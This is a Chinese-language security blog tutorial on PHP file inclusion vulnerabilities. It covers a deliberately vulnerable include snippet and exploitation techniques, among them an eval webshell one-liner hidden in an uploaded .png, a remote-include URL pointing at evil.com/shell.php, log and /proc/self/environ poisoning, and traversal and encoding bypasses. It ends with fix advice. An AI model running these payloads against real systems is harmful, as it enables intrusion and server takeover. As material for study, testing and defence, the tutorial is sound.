檔案包含漏洞小結

-知道創宇-發表於2022-03-07

介紹

檔案包含漏洞屬於程式碼注入漏洞,為了減少重複程式碼的編寫,引入了檔案包含函式,透過檔案包含函式將檔案包含進來,直接使用包含檔案的程式碼;簡單來說就是一個檔案裡面包含另外一個或多個檔案。

但我們除了包含常規的程式碼檔案外,包含的任意字尾檔案都會被當作程式碼執行,因此,如果有允許使用者控制包含檔案路徑的點,那麼則很有可能包含非預期檔案,從而執行非預期的程式碼導致getshell

幾乎所有的指令碼語言中都會提供檔案包含的功能,但檔案包含漏洞在PHP Web Application中居多,在JSPASP中十分少甚至沒有,問題在於語言設計的弊端。因此後續均以PHP為主。

檔案包含漏洞分類

PHP中的檔案包含分為本地檔案包含遠端檔案包含

LFI

本地檔案包含 Local File Include (LFI)

所包含檔案內容符合PHP語法規範,任何副檔名都可以被PHP解析。

所包含檔案內容不符合PHP語法規範,會暴露其原始碼(相當於檔案讀取)。

RFI

遠端檔案包含 Remote File Include (RFI)

如果要使用遠端包含功能,首先需要確定PHP是否已經開啟遠端包含功能選項(php預設關閉遠端包含功能:allow_url_include=off),開啟遠端包含功能需要在php.ini配置檔案中修改。

遠端包含與本地包含沒有區別,無非是支援遠端載入,更容易getshell,無論是哪種副檔名,只要遵循PHP語法規範,PHP解析器就會對其解析。

 

PHP的檔案包含函式

PHP中提供了四個檔案包含的函式,分別是include()include_once()require()require_once()。這四個函式都可以進行檔案包含,但作用並不一樣。

- include:找不到被包含的檔案時只會產生警告,指令碼將繼續執行。
- include_once:和include()語句類似,唯一區別是如果該檔案中的程式碼已經被包含,則不會再次包含。
- require:找不到被包含的檔案時會產生致命錯誤,並停止指令碼。
- require_once:和require()語句類似,唯一區別是如果該檔案中的程式碼已經被包含,則不會再次包含。

 

漏洞示例程式碼

 

<?php
// index.php
$file = $_GET[ 'file' ];
include $file
?>

快速啟動一個簡單的解析phpweb server

php -S 127.0.0.1:9999

測試:

http://127.0.0.1:9999/index.php?file=/etc/passwd

 

檔案包含漏洞小結


 利用

任意檔案讀取

如果內容不符合php語法,就會直接返回檔案內容,也就等於讀取任意檔案,和任意檔案讀取/下載一樣,就不細說了,敏感檔案路徑可以參考我的另一篇文章:任意檔案下載/讀取

 

使用PHP封裝協議

PHP帶有很多內建URL風格的封裝協議

php://filter

正常情況下,包含php檔案會直接執行其中的程式碼,但如果我們想獲取到php檔案的原始碼,如config.php,那麼我們可以透過封裝協議php://filter來讀取

http://127.0.0.1:9999/index.php?file=php://filter/read=convert.base64-encode/resource=shell.png 

 

 檔案包含漏洞小結

php://input

利用條件:需要開啟allow_url_include=on,對allow_url_fopen不做要求

 檔案包含漏洞小結

 

感覺利用起來都比較雞肋,有需要可以參考:淺談檔案包含漏洞

RFI getshell

如果支援遠端檔案包含,那麼直接http://127.0.0.1:9999/index.php?file=http://evil.com/shell.php即可getshell,因為出現的情況實在是太少了,就不多說了。

LFI+檔案上傳 getshell

這是本地檔案包含漏洞想要getshell的最容易想到的方法之一。

網站存在LFI漏洞,同時存在上傳功能,如上傳頭像、證明資訊等,那麼我們可以上傳一個包含惡意程式碼的任意字尾檔案,如.png

其中.png的內容包含

<?php @eval($_GET['shell']);?>

利用如下:

http://127.0.0.1:9999/index.php?file=shell.png&shell=phpinfo(); 

檔案包含漏洞小結

[!tip]

可能上傳的檔案中干擾因素過多,導致利用的展示介面很亂,那麼我們可以透過file_put_contents()等函式單獨再寫一個webshell到其他檔案中。

LFI+日誌檔案 getshell

日誌檔案往往會包含我們的請求記錄,如果我們知道日誌的檔案位置,那麼我們就可以將惡意的php程式碼寫入到日誌中,然後再透過檔案包含漏洞就可以執行相關的程式碼。

舉例:

URL訪問

http://127.0.0.1:9999/index.php?file=shell.png&test=<?php @eval($_GET['shell']);?>

payload會被記錄到日誌檔案中,此時日誌檔案如下

 檔案包含漏洞小結

 

我們只需要包含這個日誌檔案,那麼就可以getshell

 檔案包含漏洞小結

日誌預設路徑:

可能會有所出入,一切以實際情況為準

路徑

tomcat

/usr/local/tomcat/logs/localhost_access_log.2020-09-21.txt

apache+linux

/var/log/apache2/access.log
/var/log/httpd/access.log
/etc/httpd/logs/access.log

nginx

/var/log/nginx/access.log
/usr/local/nginx/logs/access.log

LFI+/proc/self/environ getshell

linux中,如果phpcgi方式執行,那麼/proc/self/environ中會包含請求頭中的UA資訊,也就可以getshell

GET lfi.php?file=../../../../../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo();?>

 檔案包含漏洞小結

 

可參考:shell via LFI - proc/self/environ method

LFI+phpinfo getshell

除了需要存在一個LFI漏洞外,還需要存在一個phpinfo()頁面

原理:向phpinfo()頁面POST上傳一個檔案,PHP就會將檔案儲存成一個臨時檔案,路徑通常為:/tmp/php[6個隨機字元],這個臨時檔案,在請求結束後就會被刪除。有點類似於條件競爭的操作。

 檔案包含漏洞小結

 

利用工具:https://github.com/diegoalbuquerque/LFI-phpinfo-RCE

利用時需要修改工具中的引數和目標引數適配

LFI+session getshell

很雞肋很雞肋,要求你能控制session才行,一般我們可以先看下session中的內容哪些部分是可控的

phpsession檔案的儲存路徑可以在phpinfosession.save_path看到。

 檔案包含漏洞小結

 

常見的php-session存放位置:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

如果可以控制session的內容,那麼相當於可以控制檔案/var/lib/php/sessions的內容,結合前面的操作就可以直接getshell

繞過

指定字首

漏洞程式碼:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>

繞過方法:

透過../回溯符跳轉到其他目錄,如../../../proc/self/environ

還是透過回溯符../,主要是對內容進行編碼

URL編碼

2URL編碼

容器/伺服器支援的編碼,..%c0%af == ../..%c1%9c == ..\

指定字尾

漏洞程式碼:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

繞過方法:

支援RFI的情況下,可以用?#來繞過,?後面表示引數,#後面表示錨點,都不會影響到實際的URL

利用偽協議zip://phar://,以zip為例,先建立一個壓縮包,壓縮目錄為test/test/test.php,然後利用為zip://xxx.zip#test即可

php < 5.2.8的情況下,可以使用長度截斷,只需要不斷的重複./即可,linux4096位元組時會達到最大值,在window下是256位元組,在達到最大值後,後面的部分將會被省略。如shell.php/./././././省略/./././;注意不能超過容器支援的最大長度,不然會提示GET請求太長。

php < 5.3.4magic_quotes_gpc=off的情況下,存在00截斷,和上傳中的00截斷類似,讓後端誤以為這是結束符

修復建議

過濾.(點)/(反斜槓)\(反斜槓)等特殊字元

儘量關閉allow_url_include配置

PHP 中使用 open_basedir 配置限制訪問在指定的區域

對需要包含的檔案設定檔案白名單

參考

• 檔案包含漏洞

• php檔案包含漏洞Getshell的不同姿勢


相關文章